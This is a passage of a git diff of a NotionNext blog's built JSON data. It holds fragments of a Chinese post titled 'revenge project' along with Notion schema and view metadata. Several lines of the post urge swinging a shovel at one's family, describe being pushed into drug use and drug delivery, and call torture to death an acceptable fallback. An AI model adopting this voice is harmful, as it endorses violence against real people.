社会性死亡,家庭每天充斥的都是悦耳的争吵\n他们把所有家庭的不幸,都怪罪于你"]]},"created_time":1711122583422,"last_edited_time":1711122899994,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2":{"value":{"id":"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","type":"text","properties":{"title":[["可是你没错,你现在成年了,拿着这把铁锹直接挥向他们"]]},"created_time":1711122902623,"last_edited_time":1711122963327,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e":{"value":{"id":"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","type":"text","properties":{"title":[["你一定忍不住尝一口drug,你是忍不住的,不是我强行喂的\n你没钱了啊,你非要去送这一单drug\n没办法,叔叔那边缺点任务指标"]]},"created_time":1711122725898,"last_edited_time":1711122971616,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"8c917035-dac2-4707-8333-347a39998592":{"value":{"id":"8c917035-dac2-4707-8333-347a39998592","type":"text","properties":{"title":[["\n如果以上方法效果我不满意,必须有兜底机制,折磨致死也不迟。"]]},"created_time":1711122680017,"last_edited_time":1711123114185,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4b61301c-9884-462c-ad6c-d7fd8447cd47":{"value":{"id":"4b61301c-9884-462c-ad6c-d7fd8447cd47","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1":{"value":{"id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","type":"column_list","content":["e47e97cd-2e5a-4f01-86c9-297f278a012c","5396a260-c16a-4da5-9324-b64f4d1a4f46","c28bcbf2-1f56-480b-be97-471efef9a57b"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"e47e97cd-2e5a-4f01-86c9-297f278a012c":{"value":{"id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","type":"column","content":["1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"5396a260-c16a-4da5-9324-b64f4d1a4f46":{"value":{"id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","type":"column","content":["b970c508-ada6-4cd2-be36-58fcc1de9201","82610ac2-030e-4a50-b944-af1127776438"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"c28bcbf2-1f56-480b-be97-471efef9a57b":{"value":{"id":"c28bcbf2-1f56-480b-be97-471efef9a57b","type":"column","content":["86091e65-5361-476b-a0dc-7b3e61614386"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd":{"value":{"id":"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"b970c508-ada6-4cd2-be36-58fcc1de9201":{"value":{"id":"b970c508-ada6-4cd2-be36-58fcc1de9201","type":"text","properties":{"title":[["\n",[["i"]]],["        复仇工程",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711121470727,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"86091e65-5361-476b-a0dc-7b3e61614386":{"value":{"id":"86091e65-5361-476b-a0dc-7b3e61614386","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"c28bcbf2-1f56-480b-be97-471efef9a57b","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"82610ac2-030e-4a50-b944-af1127776438":{"value":{"id":"82610ac2-030e-4a50-b944-af1127776438","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"db2f6108-70f4-48de-86ca-b786f1a84a61":{"value":{"id":"db2f6108-70f4-48de-86ca-b786f1a84a61","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240325-ollama.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240325-ollama.json
new file mode 100644
index 000000000..34c6872fd
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240325-ollama.json
@@ -0,0 +1 @@
